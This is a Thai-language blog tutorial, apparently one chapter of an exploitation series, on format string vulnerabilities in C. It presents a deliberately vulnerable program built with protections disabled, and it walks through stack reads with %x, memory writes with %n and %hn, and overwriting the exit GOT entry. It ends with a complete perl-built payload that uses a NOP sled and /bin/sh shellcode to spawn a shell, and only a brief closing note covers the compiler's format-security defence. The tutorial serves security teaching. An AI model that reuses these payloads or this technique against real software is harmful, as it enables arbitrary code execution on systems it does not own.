Thursday, April 14, 2011

Format String Bug

หลายคนคงเขียนใช้คำสั่ง printf ใน C มาแล้ว format string คือ argument ที่ชื่อว่า format ในตระกูล printf function เช่น printf, fprintf, sprintf เป็นต้น โดยคำสั่งเหล่านี้ สามารถดูรายละเอียดได้ด้วย "man 3 printf"

ฟังก์ชันในตระกูล printf จะรับ argument กี่ตัวก็ได้ โดยปกติเราจะใส่เพิ่มเท่ากับจำนวนตัวแปรที่เราใช้ใน format string เช่น

printf("%s %d %x", "Hello", 1234, 0xabcd);

format string คือ "%s %d %x" ซึ่งต้องการ argument 3 ตัว สำหรับ format string โดยวิธีการเรียก printf function จะเป็นแบบ cdecl (สำหรับคนที่ลืมว่าคืออะไร กลับไปดูได้ที่หัวข้อ Function กับ Stack) คือ argument จะส่งผ่านโดยการนำค่าลงใน stack

แต่ถ้าเราไม่ใส่ argument เพิ่มสำหรับ format string ฟังก์ชัน printf ก็ยังคงทำงานเสมือนเราส่งผ่าน argument ให้ โดยการดึงค่าของ argument ถัดไปจาก stack เรามาดูตัวอย่างกันเลยดีกว่า (ex_10_1.c) เมื่อ compile จะมี warning โดยผมจะพูดถึงทีหลัง

/* gcc -fno-pie -fno-stack-protector -z norelro -z execstack -o ex_10_1 ex_10_1.c */
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

int main(int argc, char **argv)
{
    char buf[512];
    strncpy(buf, argv[1], 510);
    printf(buf);
    
    exit(0);
}

อ่านค่าจาก memory

ในโปรแกรมนี้ จะเห็นว่า strncpy() นี้ ไม่มีการเกิด buffer overflow แต่ในบรรทัด printf นั้นจะเห็นว่า buf คือ format string ดังนั้น input ที่เราใส่เข้าไปจะเป็น format string ดังนั้นถ้าเราลอง

$ ./ex_10_1 "test" && echo
test
$ ./ex_10_1 "%s" && echo
%s
$ ./ex_10_1 "%s%s" && echo
Segmentation fault

ทำไมเกิด "Segmentation fault" เรามาลองดูใน gdb กันดีกว่า

$ gdb -q ./ex_10_1
Reading symbols from /home/worawit/tutz/ch10/ex_10_1...(no debugging symbols found)...done.
(gdb) disas main
Dump of assembler code for function main:
...
   0x08048460 <+44>:    lea    0x10(%esp),%eax
   0x08048464 <+48>:    mov    %eax,(%esp)
   0x08048467 <+51>:    call   0x8048354 <printf@plt>
...
(gdb) b *0x08048467
Breakpoint 1 at 0x8048467
(gdb) r "%s%s"
Starting program: /home/worawit/tutz/ch10/ex_10_1 "%s%s"

Breakpoint 1, 0x08048467 in main ()
(gdb) x/4x $esp
0xbffff4f0:     0xbffff500      0xbffff8ff      0x000001fe      0x00000000
(gdb) x/s 0xbffff500     # argument ตัวที่1 ของ printf คือ format string
0xbffff500:      "%s%s"
(gdb) x/s 0xbffff8ff     # argument สำหรับ %s แรก
0xbffff8ff:      "%s%s"
(gdb) x/s 0x000001fe     # argument สำหรับ %s ตัวที่สอง
0x1fe:   <Address 0x1fe out of bounds>

จะเห็นว่า argument สำหรับ %s ตัวที่สองนั้น เป็น address ที่ไม่สามารถอ้างถึงได้ ทำให้เกิด segmentation fault ดังนั้นถ้าเราเปลี่ยนจาก %s เป็น %x เพื่อดูค่าต่างๆ ทำให้เราสามารถอ่านค่าต่างๆ ที่อยู่ใน memory ได้ เช่น

$ ./ex_10_1 "%x %x %x %x" && echo
bffff90b 1fe 0 25207825
$ ./ex_10_1 "AAAAAAAA %x %x %x %x %x %x %x %x" && echo
AAAAAAAA bffff8f6 1fe 0 41414141 41414141 20782520 25207825 78252078

จะเห็นว่า เราสามารถ dump ค่าที่อยู่ใน stack ออกมาได้ และถ้าสังเกตค่า 41414141 ค่านี้คือตัวอักษร AAAA ซึ่งเป็น string ที่โปรแกรม copy ไปไว้ใน buf

จาก man page ของ printf เราสามารถที่จะอ้างถึง argument สำหรับ format string ตัวที่ต้องการได้โดยตรง ด้วยการใช้ $ modifier เช่นถ้าเราต้องการให้ print ค่าจาก argument ตัวที่ 4 ของ format string ก็จะเป็น %4$x

$ ./ex_10_1 "AAAA %4\$x" && echo
AAAA 41414141
$ ./ex_10_1 'AAAA %5$x' && echo
AAAA 24352520

ดังนั้น เมื่อเราใช้ $ modifier จะทำให้เราสามารถอ่านค่าจาก memory ในตำแหน่งที่ต้องการได้ เช่นตัวอย่างต่อไปนี้ที่ทำการ dump ค่าออกมา

$ for(( i = 1; i < 50; i++)); do echo -n "$i " && ./ex_10_1 "AAAABBBBCCCCDDDDEEEE1234567890_%$i\$x" && echo; done
1 AAAABBBBCCCCDDDDEEEE1234567890_bffff8f4
2 AAAABBBBCCCCDDDDEEEE1234567890_1fe
3 AAAABBBBCCCCDDDDEEEE1234567890_0
4 AAAABBBBCCCCDDDDEEEE1234567890_41414141
5 AAAABBBBCCCCDDDDEEEE1234567890_42424242
6 AAAABBBBCCCCDDDDEEEE1234567890_43434343
7 AAAABBBBCCCCDDDDEEEE1234567890_44444444
8 AAAABBBBCCCCDDDDEEEE1234567890_45454545
9 AAAABBBBCCCCDDDDEEEE1234567890_34333231
10 AAAABBBBCCCCDDDDEEEE1234567890_38373635
11 AAAABBBBCCCCDDDDEEEE1234567890_255f3039
12 AAAABBBBCCCCDDDDEEEE1234567890_78243231
13 AAAABBBBCCCCDDDDEEEE1234567890_0
...

เขียนค่าลงใน memory

หลังจากอ่านค่าจาก memory ไปแล้ว คราวนี้มาดูวิธีการเขียนค่าลงใน memory บ้าง ถ้าดูที่ "conversion specifier" ใน man page จะเห็นว่าตัว n ใช้สำหรับเขียนจำนวนตัวอักษรที่แสดงผลไปแล้ว ที่ address ที่ระบุใน argument ของ format string เช่น (ex_10_2.c)

/* gcc -o ex_10_2 ex_10_2.c */
#include <stdio.h>

int main(int argc, char **argv)
{
    unsigned int num;
    printf("%s\n%n", argv[1], &num);
    printf("num is %u\n", num);
    return 0;
}
$ ./ex_10_2 a
a
num is 2
$ ./ex_10_2 ab
ab
num is 3
$ ./ex_10_2 12
12
num is 3

จะเห็นว่า num จะเท่ากับจำนวนที่ printf ได้แสดงผลไปแล้ว (รวม \n ด้วยนะครับ)

กลับไปที่ตัวอย่างแรก จะเห็นว่าตอนเรา dump ค่าออกมา จะมีค่าที่เราใส่เข้าไปอยู่ใน stack ด้วย แสดงว่าถ้าเราใส่ค่าเป็น address ของที่เราต้องการที่จะเขียน แล้วใช้ format string %n เพื่อเขียนค่าเข้าไปในตำแหน่งที่เราต้องการ แต่เราจะเขียนทับที่ไหนดีละ

จริงๆ แล้วมีอยู่หลายที่จะเขียนทับได้ แต่ผมจะแสดงการเขียนทับ GOT entry ที่เก็บ address ของ exit function เอาไว้

$ objdump -R ./ex_10_1 | grep exit
08049648 R_386_JUMP_SLOT   exit

หลังจากได้ address เรามาลองเขียนทับกัน โดยจากที่เราทดสอบข้างบน ค่าใน buf จะเริ่มเป็น argument ของ format string ที่ตัวที่ 4 ดังนั้นเวลาเราใช้ $ modifier เราต้องอ้างให้ตรงกับตำแหน่งที่เราใส่ address ของ GOT entry ลงไป

$ gdb -q ./ex_10_1
Reading symbols from /home/worawit/tutz/ch10/ex_10_1...(no debugging symbols found)...done.
(gdb) b *0x08048467
Breakpoint 1 at 0x8048467
(gdb) r `perl -e 'print "\x48\x96\x04\x0812345678%4\\$n"'`

Starting program: /home/worawit/tutz/ch10/ex_10_1 `perl -e 'print "\x48\x96\x04\x0812345678%4\\$n"'`

Breakpoint 1, 0x08048467 in main ()
(gdb) x/x 0x08049648
0x8049648 <_GLOBAL_OFFSET_TABLE_+28>:   0x0804836a
(gdb) ni
0x0804846c in main ()
(gdb) x/x 0x08049648
0x8049648 <_GLOBAL_OFFSET_TABLE_+28>:   0x0000000c    # ที่เป็น 12 เพราะ \x48\x96\x04\x0812345678

เราสามารถแก้ค่าของ GOT entry ได้แล้ว แต่ถ้าจำกันได้ ปกติค่าของ stack ที่เราจะใส่ shellcode จะมีค่าเป็น 0xbf?????? ปกติเราจะใส่จำนวนตัวอักษรที่ยาวขนาดนั้นไม่ได้ แต่เราสามารถที่จะกำหนดความยาวของค่าที่จะพิมพ์ได้ (อยู่ในหัวข้อ The field width ใน man page) เช่น %10d จะพิมพ์ทั้งหมด 10 ตัวอักษร ถ้าตัวเลขยาวไม่พอก็จะ pad ด้วยช่องว่างข้างหน้า

แต่ถ้าเราใส่ค่าขนาดนั้นเพื่อที่จะ print จะพบว่าแค่ print ก็ต้องใช้เวลานานมากๆ วิธีแก้ก็คือเขียน 2 รอบเพื่อแก้ค่าทีละ 2 bytes และเพื่อความสะดวก เราสามารถที่จะใช้ length modifier ตัว h ให้เป็น %hn เพื่อเขียนทีละ 2 bytes

(gdb) r `perl -e 'print "\x48\x96\x04\x08\x4a\x96\x04\x08%512x%4\\$n%512x%5\\$n"'`

Starting program: /home/worawit/tutz/ch10/ex_10_1 `perl -e 'print "\x48\x96\x04\x08\x4a\x96\x04\x08%512x%4\\$n%512x%5\\$n"'`

Breakpoint 1, 0x08048467 in main ()
(gdb) x/x 0x08049648
0x8049648 <_GLOBAL_OFFSET_TABLE_+28>:   0x0804836a
(gdb) ni
... # ตัวอักษรที่ print ออกมา
0x0804846c in main ()
(gdb) x/x 0x08049648
0x8049648 <_GLOBAL_OFFSET_TABLE_+28>:   0x04080208  # คิดถึงเรื่อง endian ด้วย

หลังจากทดสอบว่าเราสามารถเขียนค่าได้แล้ว เราก็ต้องมาหา address ของ shellcode เพื่อเป็นค่าที่เราจะเขียนทับ GOT entry

$ ulimit -c unlimited
$ ./ex_10_1 `perl -e 'print "\x48\x96\x04\x08\x4a\x96\x04\x08%512x%4\\$hn%512x%5\\$hn" . "\x90"x128 . "\x31\xc9\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x8d\x41\x0b\x99\xcd\x80"'`
...
Segmentation fault (core dumped)
$ gdb -q ./ex_10_1 core
...
Program terminated with signal 11, Segmentation fault.
#0  0x04080208 in ?? ()
(gdb) x/20x $esp
0xbffff46c:     0x08048478      0x00000000      0xbffff865      0x000001fe
0xbffff47c:     0x00000000      0x08049648      0x0804964a      0x32313525
0xbffff48c:     0x24342578      0x35256e68      0x25783231      0x6e682435
0xbffff49c:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffff4ac:     0x90909090      0x90909090      0x90909090      0x90909090

ได้ address คือ 0xbffff4b0 ซึ่งจะเห็นว่าค่า 0xf4b0 (62640) นั้นมากกว่า 0xbfff (49151) ดังนั้นผมจะทำการเขียนค่าที่ 0x0804964a ก่อน ซึ่งค่าความยาวที่เราต้องใส่สำหรับ %x แรกคือ 49151 - 8 = 49143 และ %x ที่สองคือ 62640 - 49143 = 13497 ทำให้เราได้ exploit ดังนี้

$ ./ex_10_1 `perl -e 'print "\x48\x96\x04\x08\x4a\x96\x04\x08%49143x%5\\$hn%13497x%4\\$hn" . "\x90"x128 . "\x31\xc9\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x8d\x41\x0b\x99\xcd\x80"'`
...
$ 

ผ่านไปอีก 1 เทคนิค ก่อนจบกลับไปดูที่ warning ตอนแรกกันก่อน จะเห็นว่า gcc ได้มีการเตือนแล้วเราโค้ดแบบนี้ อาจจะมีปัญหาได้ ซึ่งทำให้ programmer ส่วนมากนั้น จะเจอ bug นี้ตั้งแต่ตอน compile ทำให้ bug นี้นั้น ไม่ค่อยเห็นอีกแล้วในปัจจุบัน และเรายังสามารถให้ gcc แสดงเป็น error สำหรับกรณีเฉพาะได้ด้วย -Werror=format-security

$ gcc -Werror=format-security -o test ex_10_1.c
ex_10_1.c: In function ‘main’:
ex_10_1.c:13: error: format not a string literal and no format arguments

No comments:

Post a Comment